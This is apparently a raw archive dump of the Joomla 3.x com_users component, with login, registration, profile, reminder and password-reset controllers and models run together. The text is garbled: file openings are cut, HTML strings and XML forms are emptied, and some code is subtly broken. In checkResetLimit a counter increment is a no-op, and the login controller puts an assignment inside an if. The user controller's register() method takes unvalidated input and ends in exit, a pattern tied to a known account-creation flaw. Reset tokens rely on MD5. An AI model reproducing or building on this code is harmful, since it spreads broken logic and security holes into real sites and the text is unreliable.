$data['id'] = $userId; // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } // Validate the posted data. $data = $model->validate($form, $data); // Check for errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_users.edit.profile.data', $data); // Redirect back to the edit screen. $userId = (int) $app->getUserState('com_users.edit.profile.id'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit&user_id='.$userId, false)); return false; } // Attempt to save the data. $return = $model->save($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('com_users.edit.profile.data', $data); // Redirect back to the edit screen. $userId = (int) $app->getUserState('com_users.edit.profile.id'); $this->setMessage(JText::sprintf('COM_USERS_PROFILE_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=profile&layout=edit&user_id='.$userId, false)); return false; } // Redirect the user and adjust session state based on the chosen task. switch ($this->getTask()) { case 'apply': // Check out the profile. $app->setUserState('com_users.edit.profile.id', $return); $model->checkout($return); // Redirect back to the edit screen. $this->setMessage(JText::_('COM_USERS_PROFILE_SAVE_SUCCESS')); $this->setRedirect(JRoute::_(($redirect = $app->getUserState('com_users.edit.profile.redirect')) ? $redirect : 'index.php?option=com_users&view=profile&layout=edit&hidemainmenu=1', false)); break; default: // Check in the profile. $userId = (int) $app->getUserState('com_users.edit.profile.id'); if ($userId) { $model->checkin($userId); } // Clear the profile id from the session. $app->setUserState('com_users.edit.profile.id', null); // Redirect to the list screen. $this->setMessage(JText::_('COM_USERS_PROFILE_SAVE_SUCCESS')); $this->setRedirect(JRoute::_(($redirect = $app->getUserState('com_users.edit.profile.redirect')) ? $redirect : 'index.php?option=com_users&view=profile&user_id='.$return, false)); break; } // Flush the data from the session. $app->setUserState('com_users.edit.profile.data', null); } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModelLegacy $model The data model object. * @param array $validData The validated data. * * @return void * @since 3.1 */ protected function postSaveHook(JModelLegacy $model, $validData = array()) { $item = $model->getData(); $tags = $validData['tags']; if ($tags) { $item->tags = new JHelperTags; $item->tags->getTagIds($item->id, 'com_users.user'); $item->metadata['tags'] = $item->tags; } } } com_users/controllers/profile.json.php000066600000002414150771500630014243 0ustar00close(); } } com_users/controllers/user.php000066600000015250150771500630012613 0ustar00input->post->get('return', '', 'BASE64')); $data['username'] = JRequest::getVar('username', '', 'method', 'username'); $data['password'] = JRequest::getString('password', '', 'post', JREQUEST_ALLOWRAW); $data['secretkey'] = JRequest::getString('secretkey', ''); // Set the return URL if empty. if (empty($data['return'])) { $data['return'] = 'index.php?option=com_users&view=profile'; } // Set the return URL in the user state to allow modification by plugins $app->setUserState('users.login.form.return', $data['return']); // Get the log in options. $options = array(); $options['remember'] = $this->input->getBool('remember', false); $options['return'] = $data['return']; // Get the log in credentials. $credentials = array(); $credentials['username'] = $data['username']; $credentials['password'] = $data['password']; $credentials['secretkey'] = $data['secretkey']; // Perform the log in. if (true === $app->login($credentials, $options)) { // Success if ($options['remember'] = true) { $app->setUserState('rememberLogin', true); } $app->setUserState('users.login.form.data', array()); $app->redirect(JRoute::_($app->getUserState('users.login.form.return'), false)); } else { // Login failed ! $data['remember'] = (int) $options['remember']; $app->setUserState('users.login.form.data', $data); $app->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } } /** * Method to log out a user. * * @since 1.6 */ public function logout() { JSession::checkToken('request') or jexit(JText::_('JInvalid_Token')); $app = JFactory::getApplication(); // Perform the log in. $error = $app->logout(); // Check if the log out succeeded. if (!($error instanceof Exception)) { // Get the return url from the request and validate that it is internal. $return = JRequest::getVar('return', '', 'method', 'base64'); $return = base64_decode($return); if (!JUri::isInternal($return)) { $return = ''; } // Redirect the user. $app->redirect(JRoute::_($return, false)); } else { $app->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } } /** * Method to register a user. * * @since 1.6 */ public function register() { JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); // Get the application $app = JFactory::getApplication(); // Get the form data. $data = $this->input->post->get('user', array(), 'array'); // Get the model and validate the data. $model = $this->getModel('Registration', 'UsersModel'); $return = $model->validate($data); // Check for errors. if ($return === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'notice'); } else { $app->enqueueMessage($errors[$i], 'notice'); } } // Save the data in the session. $app->setUserState('users.registration.form.data', $data); // Redirect back to the registration form. $this->setRedirect('index.php?option=com_users&view=registration'); return false; } // Finish the registration. $return = $model->register($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('users.registration.form.data', $data); // Redirect back to the registration form. $message = JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_users&view=registration', $message, 'error'); return false; } // Flush the data from the session. $app->setUserState('users.registration.form.data', null); exit; } /** * Method to login a user. * * @since 1.6 */ public function remind() { // Check the request token. JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('User', 'UsersModel'); $data = $this->input->post->get('jform', array(), 'array'); // Submit the username remind request. $return = $model->processRemindRequest($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_REMIND_REQUEST_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the complete form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Complete failed. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the complete form. $message = JText::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Complete succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to the login form. $message = JText::_('COM_USERS_REMIND_REQUEST_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } /** * Method to login a user. * * @since 1.6 */ public function resend() { // Check for request forgeries JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); } } com_users/controllers/registration.php000066600000012710150771500630014345 0ustar00input; $uParams = JComponentHelper::getParams('com_users'); // If the user is logged in, return them back to the homepage. if ($user->get('id')) { $this->setRedirect('index.php'); return true; } // If user registration or account activation is disabled, throw a 403. if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } $model = $this->getModel('Registration', 'UsersModel'); $token = $input->getAlnum('token'); // Check that the token is in a valid format. if ($token === null || strlen($token) !== 32) { JError::raiseError(403, JText::_('JINVALID_TOKEN')); return false; } // Attempt to activate the user. $return = $model->activate($token); // Check for errors. if ($return === false) { // Redirect back to the homepage. $this->setMessage(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect('index.php'); return false; } $useractivation = $uParams->get('useractivation'); // Redirect to the login screen. if ($useractivation == 0) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } elseif ($useractivation == 1) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } elseif ($return->getParam('activate')) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } else { $this->setMessage(JText::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } return true; } /** * Method to register a user. * * @return boolean True on success, false on failure. * @since 1.6 */ public function register() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // If registration is disabled - Redirect to login page. if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; } $app = JFactory::getApplication(); $model = $this->getModel('Registration', 'UsersModel'); // Get the user data. $requestData = $this->input->post->get('jform', array(), 'array'); // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $requestData); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); // Redirect back to the registration screen. $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false)); return false; } // Attempt to save the data. $return = $model->register($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('com_users.registration.data', $data); // Redirect back to the edit screen. $this->setMessage(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false)); return false; } // Flush the data from the session. $app->setUserState('com_users.registration.data', null); // Redirect to the profile screen. if ($return === 'adminactivate'){ $this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } elseif ($return === 'useractivate') { $this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } else { $this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } return true; } } com_users/helpers/html/index.html000066600000000037150771500630013156 0ustar00 com_users/helpers/html/users.php000066600000006703150771500630013041 0ustar00sites->site as $site) { if ((string) $site->attributes()->url == $value) { $text = (string) $site; break; } } } $value = htmlspecialchars($value); if (substr($value, 0, 4) == "http") { return '' . $text . ''; } else { return '' . $text . ''; } } } public static function templatestyle($value) { if (empty($value)) { return static::value($value); } else { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('title') ->from('#__template_styles') ->where('id = ' . $db->quote($value)); $db->setQuery($query); $title = $db->loadResult(); if ($title) { return htmlspecialchars($title); } else { return static::value(''); } } } public static function admin_language($value) { if (empty($value)) { return static::value($value); } else { $path = JLanguage::getLanguagePath(JPATH_ADMINISTRATOR, $value); $file = "$value.xml"; $result = null; if (is_file("$path/$file")) { $result = JLanguage::parseXMLLanguageFile("$path/$file"); } if ($result) { return htmlspecialchars($result['name']); } else { return static::value(''); } } } public static function language($value) { if (empty($value)) { return static::value($value); } else { $path = JLanguage::getLanguagePath(JPATH_SITE, $value); $file = "$value.xml"; $result = null; if (is_file("$path/$file")) { $result = JLanguage::parseXMLLanguageFile("$path/$file"); } if ($result) { return htmlspecialchars($result['name']); } else { return static::value(''); } } } public static function editor($value) { if (empty($value)) { return static::value($value); } else { $db = JFactory::getDbo(); $lang = JFactory::getLanguage(); $query = $db->getQuery(true) ->select('name') ->from('#__extensions') ->where('element = ' . $db->quote($value)) ->where('folder = ' . $db->quote('editors')); $db->setQuery($query); $title = $db->loadResult(); if ($title) { $lang->load("plg_editors_$value.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("plg_editors_$value.sys", JPATH_PLUGINS . '/editors/' . $value, null, false, true); $lang->load($title . '.sys'); return JText::_($title); } else { return static::value(''); } } } } com_users/helpers/index.html000066600000000037150771500630012212 0ustar00 com_users/helpers/route.php000066600000007533150771500630012074 0ustar00getMenu(); $com = JComponentHelper::getComponent('com_users'); $items = $menu->getItems('component_id', $com->id); // If no items found, set to empty array. if (!$items) { $items = array(); } } return $items; } /** * Method to get a route configuration for the login view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 * @static */ public static function getLoginRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'login') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the profile view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getProfileRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. //Menu link can only go to users own profile. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'profile') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the registration view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getRegistrationRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'registration') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the remind view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getRemindRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'remind') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the resend view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getResendRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'resend') { $itemid = $item->id; break; } } return $itemid; } /** * Method to get a route configuration for the reset view. * * @return mixed Integer menu id on success, null on failure. * @since 1.6 */ public static function getResetRoute() { // Get the items. $items = self::getItems(); $itemid = null; // Search for a suitable menu id. foreach ($items as $item) { if (isset($item->query['view']) && $item->query['view'] === 'reset') { $itemid = $item->id; break; } } return $itemid; } } com_users/models/reset.php000066600000027562150771500630011705 0ustar00loadForm('com_users.reset_request', 'reset_request', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the password reset complete form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getResetCompleteForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.reset_complete', 'reset_complete', $options = array('control' => 'jform')); if (empty($form)) { return false; } return $form; } /** * Method to get the password reset confirm form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getResetConfirmForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.reset_confirm', 'reset_confirm', $options = array('control' => 'jform')); if (empty($form)) { return false; } return $form; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * @since 1.6 */ function processResetComplete($data) { // Get the form. $form = $this->getResetCompleteForm(); $data['email'] = JStringPunycode::emailToPunycode($data['email']); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Get the token and user id from the confirmation process. $app = JFactory::getApplication(); $token = $app->getUserState('com_users.reset.token', null); $userId = $app->getUserState('com_users.reset.user', null); // Check the token and user id. if (empty($token) || empty($userId)) { return new JException(JText::_('COM_USERS_RESET_COMPLETE_TOKENS_MISSING'), 403); } // Get the user object. $user = JUser::getInstance($userId); // Check for a user and that the tokens match. if (empty($user) || $user->activation !== $token) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Check if the user is reusing the current password if required to reset their password if ($user->requireReset == 1 && JUserHelper::verifyPassword($data['password1'], $user->password)) { $this->setError(JText::_('JLIB_USER_ERROR_CANNOT_REUSE_PASSWORD')); return false; } // Update the user object. $user->password = JUserHelper::hashPassword($data['password1']); $user->activation = ''; $user->password_clear = $data['password1']; // Save the user to the database. if (!$user->save(true)) { return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500); } // Flush the user data from the session. $app->setUserState('com_users.reset.token', null); $app->setUserState('com_users.reset.user', null); return true; } /** * @since 1.6 */ function processResetConfirm($data) { // Get the form. $form = $this->getResetConfirmForm(); $data['email'] = JStringPunycode::emailToPunycode($data['email']); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Find the user id for the given token. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('activation') ->select('id') ->select('block') ->from($db->quoteName('#__users')) ->where($db->quoteName('username') . ' = ' . $db->quote($data['username'])); // Get the user id. $db->setQuery($query); try { $user = $db->loadObject(); } catch (RuntimeException $e) { return new JException(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); } // Check for a user. if (empty($user)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } $parts = explode(':', $user->activation); $crypt = $parts[0]; if (!isset($parts[1])) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } $salt = $parts[1]; $testcrypt = JUserHelper::getCryptedPassword($data['token'], $salt, 'md5-hex'); // Verify the token if (!($crypt == $testcrypt)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Push the user data into the session. $app = JFactory::getApplication(); $app->setUserState('com_users.reset.token', $crypt . ':' . $salt); $app->setUserState('com_users.reset.user', $user->id); return true; } /** * Method to start the password reset process. * * @since 1.6 */ public function processResetRequest($data) { $config = JFactory::getConfig(); // Get the form. $form = $this->getForm(); $data['email'] = JStringPunycode::emailToPunycode($data['email']); // Check for an error. if ($form instanceof Exception) { return $form; } // Filter and validate the form data. $data = $form->filter($data); $return = $form->validate($data); // Check for an error. if ($return instanceof Exception) { return $return; } // Check the validation results. if ($return === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Find the user id for the given email address. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('id') ->from($db->quoteName('#__users')) ->where($db->quoteName('email') . ' = ' . $db->quote($data['email'])); // Get the user object. $db->setQuery($query); try { $userId = $db->loadResult(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } // Check for a user. if (empty($userId)) { $this->setError(JText::_('COM_USERS_INVALID_EMAIL')); return false; } // Get the user object. $user = JUser::getInstance($userId); // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } // Make sure the user isn't a Super Admin. if ($user->authorise('core.admin')) { $this->setError(JText::_('COM_USERS_REMIND_SUPERADMIN_ERROR')); return false; } // Make sure the user has not exceeded the reset limit if (!$this->checkResetLimit($user)) { $resetLimit = (int) JFactory::getApplication()->getParams()->get('reset_time'); $this->setError(JText::plural('COM_USERS_REMIND_LIMIT_ERROR_N_HOURS', $resetLimit)); return false; } // Set the confirmation token. $token = JApplication::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token . $salt) . ':' . $salt; $user->activation = $hashedToken; // Save the user to the database. if (!$user->save(true)) { return new JException(JText::sprintf('COM_USERS_USER_SAVE_FAILED', $user->getError()), 500); } // Assemble the password reset confirmation link. $mode = $config->get('force_ssl', 0) == 2 ? 1 : -1; $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid=' . $itemid : ''; $link = 'index.php?option=com_users&view=reset&layout=confirm' . $itemid; // Put together the email template data. $data = $user->getProperties(); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['link_text'] = JRoute::_($link, false, $mode); $data['link_html'] = JRoute::_($link, true, $mode); $data['token'] = $token; $subject = JText::sprintf( 'COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT', $data['sitename'] ); $body = JText::sprintf( 'COM_USERS_EMAIL_PASSWORD_RESET_BODY', $data['sitename'], $data['token'], $data['link_text'] ); // Send the password reset request email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body); // Check for an error. if ($return !== true) { return new JException(JText::_('COM_USERS_MAIL_FAILED'), 500); } return true; } /** * Method to check if user reset limit has been exceeded within the allowed time period. * * @param JUser the user doing the password reset * * @return boolean true if user can do the reset, false if limit exceeded * * @since 2.5 */ public function checkResetLimit($user) { $params = JFactory::getApplication()->getParams(); $maxCount = (int) $params->get('reset_count'); $resetHours = (int) $params->get('reset_time'); $result = true; $lastResetTime = strtotime($user->lastResetTime) ? strtotime($user->lastResetTime) : 0; $hoursSinceLastReset = (strtotime(JFactory::getDate()->toSql()) - $lastResetTime) / 3600; // If it's been long enough, start a new reset count if ($hoursSinceLastReset > $resetHours) { $user->lastResetTime = JFactory::getDate()->toSql(); $user->resetCount = 1; } // If we are under the max count, just increment the counter elseif ($user->resetCount < $maxCount) { $user->resetCount; } // At this point, we know we have exceeded the maximum resets for the time period else { $result = false; } return $result; } } com_users/models/index.html000066600000000037150771500630012033 0ustar00 com_users/models/login.php000066600000005503150771500630011662 0ustar00loadForm('com_users.login', 'login', array('load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered login form data. $app = JFactory::getApplication(); $data = $app->getUserState('users.login.form.data', array()); // check for return URL from the request first if ($return = JRequest::getVar('return', '', 'method', 'base64')) { $data['return'] = base64_decode($return); if (!JUri::isInternal($data['return'])) { $data['return'] = ''; } } // Set the return URL if empty. if (!isset($data['return']) || empty($data['return'])) { $data['return'] = 'index.php?option=com_users&view=profile'; } $app->setUserState('users.login.form.data', $data); $this->preprocessData('com_users.login', $data); return $data; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * Override JModelAdmin::preprocessForm to ensure the correct plugin group is loaded. * * @param JForm $form A JForm object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'user') { parent::preprocessForm($form, $data, $group); } } com_users/models/remind.php000066600000010430150771500630012023 0ustar00loadForm('com_users.remind', 'remind', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { parent::preprocessForm($form, $data, 'user'); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $app = JFactory::getApplication(); $params = $app->getParams('com_users'); // Load the parameters. $this->setState('params', $params); } /** * @since 1.6 */ public function processRemindRequest($data) { // Get the form. $form = $this->getForm(); $data['email'] = JStringPunycode::emailToPunycode($data['email']); // Check for an error. if (empty($form)) { return false; } // Validate the data. $data = $this->validate($form, $data); // Check for an error. if ($data instanceof Exception) { return false; } // Check the validation results. if ($data === false) { // Get the validation messages from the form. foreach ($form->getErrors() as $formError) { $this->setError($formError->getMessage()); } return false; } // Find the user id for the given email address. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__users')) ->where($db->quoteName('email') . ' = ' . $db->quote($data['email'])); // Get the user id. $db->setQuery($query); try { $user = $db->loadObject(); } catch (RuntimeException $e) { $this->setError(JText::sprintf('COM_USERS_DATABASE_ERROR', $e->getMessage()), 500); return false; } // Check for a user. if (empty($user)) { $this->setError(JText::_('COM_USERS_USER_NOT_FOUND')); return false; } // Make sure the user isn't blocked. if ($user->block) { $this->setError(JText::_('COM_USERS_USER_BLOCKED')); return false; } $config = JFactory::getConfig(); // Assemble the login link. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid=' . $itemid : ''; $link = 'index.php?option=com_users&view=login' . $itemid; $mode = $config->get('force_ssl', 0) == 2 ? 1 : -1; // Put together the email template data. $data = JArrayHelper::fromObject($user); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['link_text'] = JRoute::_($link, false, $mode); $data['link_html'] = JRoute::_($link, true, $mode); $subject = JText::sprintf( 'COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT', $data['sitename'] ); $body = JText::sprintf( 'COM_USERS_EMAIL_USERNAME_REMINDER_BODY', $data['sitename'], $data['username'], $data['link_text'] ); // Send the password reset request email. $return = JFactory::getMailer()->sendMail($data['mailfrom'], $data['fromname'], $user->email, $subject, $body); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_MAIL_FAILED'), 500); return false; } return true; } } com_users/models/forms/registration.xml000066600000003740150771500630014424 0ustar00
    com_users/models/forms/reset_request.xml000066600000000761150771500630014604 0ustar00
    com_users/models/forms/sitelang.xml000066600000000636150771500630013521 0ustar00
    com_users/models/forms/reset_complete.xml000066600000001326150771500630014722 0ustar00
    com_users/models/forms/index.html000066600000000037150771500630013161 0ustar00 com_users/models/forms/login.xml000066600000001252150771500630013016 0ustar00
    com_users/models/forms/remind.xml000066600000000724150771500630013167 0ustar00
    com_users/models/forms/frontend.xml000066600000001615150771500630013530 0ustar00
    com_users/models/forms/reset_confirm.xml000066600000001033150771500630014542 0ustar00
    com_users/models/forms/frontend_admin.xml000066600000001706150771500630014701 0ustar00
    com_users/models/forms/profile.xml000066600000003466150771500630013357 0ustar00
    com_users/models/profile.php000066600000025074150771500630012217 0ustar00getState('user.id'); if ($userId) { // Initialise the table with JUser. $table = JTable::getInstance('User'); // Attempt to check the row in. if (!$table->checkin($userId)) { $this->setError($table->getError()); return false; } } return true; } /** * Method to check out a user for editing. * * @param integer The id of the row to check out. * @return boolean True on success, false on failure. * @since 1.6 */ public function checkout($userId = null) { // Get the user id. $userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id'); if ($userId) { // Initialise the table with JUser. $table = JTable::getInstance('User'); // Get the current user object. $user = JFactory::getUser(); // Attempt to check the row out. if (!$table->checkout($user->get('id'), $userId)) { $this->setError($table->getError()); return false; } } return true; } /** * Method to get the profile form data. * * The base form data is loaded and then an event is fired * for users plugins to extend the data. * * @return mixed Data object on success, false on failure. * @since 1.6 */ public function getData() { if ($this->data === null) { $userId = $this->getState('user.id'); // Initialise the table with JUser. $this->data = new JUser($userId); // Set the base user data. $this->data->email1 = $this->data->get('email'); $this->data->email2 = $this->data->get('email'); // Override the base user data with any data in the session. $temp = (array) JFactory::getApplication()->getUserState('com_users.edit.profile.data', array()); foreach ($temp as $k => $v) { $this->data->$k = $v; } // Unset the passwords. unset($this->data->password1); unset($this->data->password2); $registry = new JRegistry($this->data->params); $this->data->params = $registry->toArray(); // Get the dispatcher and load the users plugins. $dispatcher = JEventDispatcher::getInstance(); JPluginHelper::importPlugin('user'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array('com_users.profile', $this->data)); // Check for errors encountered while preparing the data. if (count($results) && in_array(false, $results, true)) { $this->setError($dispatcher->getError()); $this->data = false; } } return $this->data; } /** * Method to get the profile form. * * The base form is loaded from XML and then an event is fired * for users plugins to extend the form with extra fields. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Check for username compliance and parameter set $isUsernameCompliant = true; if ($this->loadFormData()->username) { $username = $this->loadFormData()->username; $isUsernameCompliant = !(preg_match('#[<>"\'%;()&\\\\]|\\.\\./#', $username) || strlen(utf8_decode($username)) < 2 || trim($username) != $username); } $this->setState('user.username.compliant', $isUsernameCompliant); if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant) { 